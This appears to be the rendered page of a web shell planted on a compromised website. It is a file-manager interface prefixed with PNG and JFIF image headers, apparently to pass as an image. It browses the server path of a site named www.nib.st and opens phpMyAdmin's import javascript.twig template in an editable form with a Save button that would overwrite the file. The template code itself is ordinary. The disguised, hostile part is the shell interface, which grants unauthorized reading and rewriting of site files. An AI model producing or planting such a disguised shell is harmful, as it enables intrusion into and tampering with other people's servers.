�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fbig%2F'>big</a>/<a href='?path=%2Fbig%2Fweb%2F'>web</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2F'>www.nib.st</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2Fhtdocs%2F'>htdocs</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2Fhtdocs%2FphpMyAdmin%2F'>phpMyAdmin</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2Fhtdocs%2FphpMyAdmin%2Ftemplates%2F'>templates</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2Fhtdocs%2FphpMyAdmin%2Ftemplates%2Fimport%2F'>import</a>/</p><hr><h3>✏️ Editing: javascript.twig</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>$( function() {
    {# Add event when user click on &quot;Go&quot; button #}
    $(&quot;#buttonGo&quot;).on(&quot;click&quot;, function() {
        {# Hide form #}
        $(&quot;#upload_form_form&quot;).css(&quot;display&quot;, &quot;none&quot;);

        {% if handler != &#039;PhpMyAdmin\\Plugins\\Import\\Upload\\UploadNoplugin&#039; %}
            {# Some variable for javascript #}
            {% set ajax_url = &#039;index.php?route=/import-status&amp;id=&#039; ~ upload_id ~ get_common_raw({
                &#039;import_status&#039;: 1
            }, &#039;&amp;&#039;) %}
            {% set promot_str = &#039;The file being uploaded is probably larger than the maximum allowed size or this is a known bug in webkit based (Safari, Google Chrome, Arora etc.) browsers.&#039;|trans|js_format(false) %}
            {% set statustext_str = &#039;%s of %s&#039;|trans|escape_js_string %}
            {% set second_str = &#039;%s/sec.&#039;|trans|js_format(false) %}
            {% set remaining_min = &#039;About %MIN min. %SEC sec. remaining.&#039;|trans|js_format(false) %}
            {% set remaining_second = &#039;About %SEC sec. remaining.&#039;|trans|js_format(false) %}
            {% set processed_str = &#039;The file is being processed, please be patient.&#039;|trans|js_format(false) %}
            {% set import_url = get_common_raw({&#039;import_status&#039;: 1}, &#039;&amp;&#039;) %}

            {% set upload_html %}
                    &lt;div class=&quot;upload_progress&quot;&gt;
                        &lt;div class=&quot;upload_progress_bar_outer&quot;&gt;
                            &lt;div class=&quot;percentage&quot;&gt;&lt;/div&gt;
                            &lt;div id=&quot;status&quot; class=&quot;upload_progress_bar_inner&quot;&gt;
                                &lt;div class=&quot;percentage&quot;&gt;&lt;/div&gt;
                            &lt;/div&gt;
                        &lt;/div&gt;
                        &lt;div&gt;
                            &lt;img src=&quot;{{ theme_image_path }}ajax_clock_small.gif&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;ajax clock&quot;&gt; {{ &#039;Uploading your import file…&#039;|trans|js_format(false) -}}
                        &lt;/div&gt;
                        &lt;div id=&quot;statustext&quot;&gt;&lt;/div&gt;
                    &lt;/div&gt;
            {% endset %}

            {# Start output #}
            var finished = false;
            var percent  = 0.0;
            var total    = 0;
            var complete = 0;
            var original_title = parent &amp;&amp; parent.document ? parent.document.title : false;
            var import_start;

            var perform_upload = function () {
            new $.getJSON(
                &quot;{{ ajax_url|raw }}&quot;,
                {},
                function(response) {
                    finished = response.finished;
                    percent = response.percent;
                    total = response.total;
                    complete = response.complete;

                    if (total==0 &amp;&amp; complete==0 &amp;&amp; percent==0) {
                        $(&quot;#upload_form_status_info&quot;).html(&#039;&lt;img src=&quot;{{ theme_image_path }}ajax_clock_small.gif&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;ajax clock&quot;&gt; {{ promot_str|raw }}&#039;);
                        $(&quot;#upload_form_status&quot;).css(&quot;display&quot;, &quot;none&quot;);
                    } else {
                        var now = new Date();
                        now = Date.UTC(
                            now.getFullYear(),
                            now.getMonth(),
                            now.getDate(),
                            now.getHours(),
                            now.getMinutes(),
                            now.getSeconds())
                            + now.getMilliseconds() - 1000;
                        var statustext = Functions.sprintf(
                            &quot;{{ statustext_str|raw }}&quot;,
                            Functions.formatBytes(
                                complete, 1, Messages.strDecimalSeparator
                            ),
                            Functions.formatBytes(
                                total, 1, Messages.strDecimalSeparator
                            )
                        );

                        if ($(&quot;#importmain&quot;).is(&quot;:visible&quot;)) {
                            {# Show progress UI #}
                            $(&quot;#importmain&quot;).hide();
                            $(&quot;#import_form_status&quot;)
                            .html(&#039;{{ upload_html|spaceless|raw }}&#039;)
                            .show();
                            import_start = now;
                        }
                        else if (percent &gt; 9 || complete &gt; 2000000) {
                            {# Calculate estimated time #}
                            var used_time = now - import_start;
                            var seconds = parseInt(((total - complete) / complete) * used_time / 1000);
                            var speed = Functions.sprintf(
                                &quot;{{ second_str|raw }}&quot;,
                                Functions.formatBytes(complete / used_time * 1000, 1, Messages.strDecimalSeparator)
                            );

                            var minutes = parseInt(seconds / 60);
                            seconds %= 60;
                            var estimated_time;
                            if (minutes &gt; 0) {
                                estimated_time = &quot;{{ remaining_min|raw }}&quot;
                                    .replace(&quot;%MIN&quot;, minutes)
                                    .replace(&quot;%SEC&quot;, seconds);
                            }
                            else {
                                estimated_time = &quot;{{ remaining_second|raw }}&quot;
                                .replace(&quot;%SEC&quot;, seconds);
                            }

                            statustext += &quot;&lt;br&gt;&quot; + speed + &quot;&lt;br&gt;&lt;br&gt;&quot; + estimated_time;
                        }

                        var percent_str = Math.round(percent) + &quot;%&quot;;
                        $(&quot;#status&quot;).animate({width: percent_str}, 150);
                        $(&quot;.percentage&quot;).text(percent_str);

                        {# Show percent in window title #}
                        if (original_title !== false) {
                            parent.document.title
                                = percent_str + &quot; - &quot; + original_title;
                        }
                        else {
                            document.title
                                = percent_str + &quot; - &quot; + original_title;
                        }
                        $(&quot;#statustext&quot;).html(statustext);
                    }

                    if (finished == true) {
                        if (original_title !== false) {
                            parent.document.title = original_title;
                        }
                        else {
                            document.title = original_title;
                        }
                        $(&quot;#importmain&quot;).hide();
                        {# Loads the message, either success or mysql error #}
                        $(&quot;#import_form_status&quot;)
                        .html(&#039;&lt;img src=&quot;{{ theme_image_path }}ajax_clock_small.gif&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;ajax clock&quot;&gt; {{ processed_str|raw }}&#039;)
                        .show();
                        $(&quot;#import_form_status&quot;).load(&quot;index.php?route=/import-status&amp;message=true&amp;{{ import_url|raw }}&quot;);
                        Navigation.reload();

                        {# If finished #}
                    }
                    else {
                        setTimeout(perform_upload, 1000);
                    }
                });
            };
            setTimeout(perform_upload, 1000);
        {% else %}
            {# No plugin available #}
            {% set image_tag -%}
                &lt;img src=&quot;{{ theme_image_path -}}
                    ajax_clock_small.gif&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;ajax clock&quot;&gt;
                {{- &#039;Please be patient, the file is being uploaded. Details about the upload are not available.&#039;|trans|js_format(false) -}}
                {{- show_docu(&#039;faq&#039;, &#039;faq2-9&#039;) -}}
            {%- endset %}
            $(&#039;#upload_form_status_info&#039;).html(&#039;{{ image_tag|raw }}&#039;);
            $(&quot;#upload_form_status&quot;).css(&quot;display&quot;, &quot;none&quot;);
        {% endif %}
    });
});
</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2Fhtdocs%2FphpMyAdmin%2Ftemplates%2Fimport'>🔙 Back</a></p>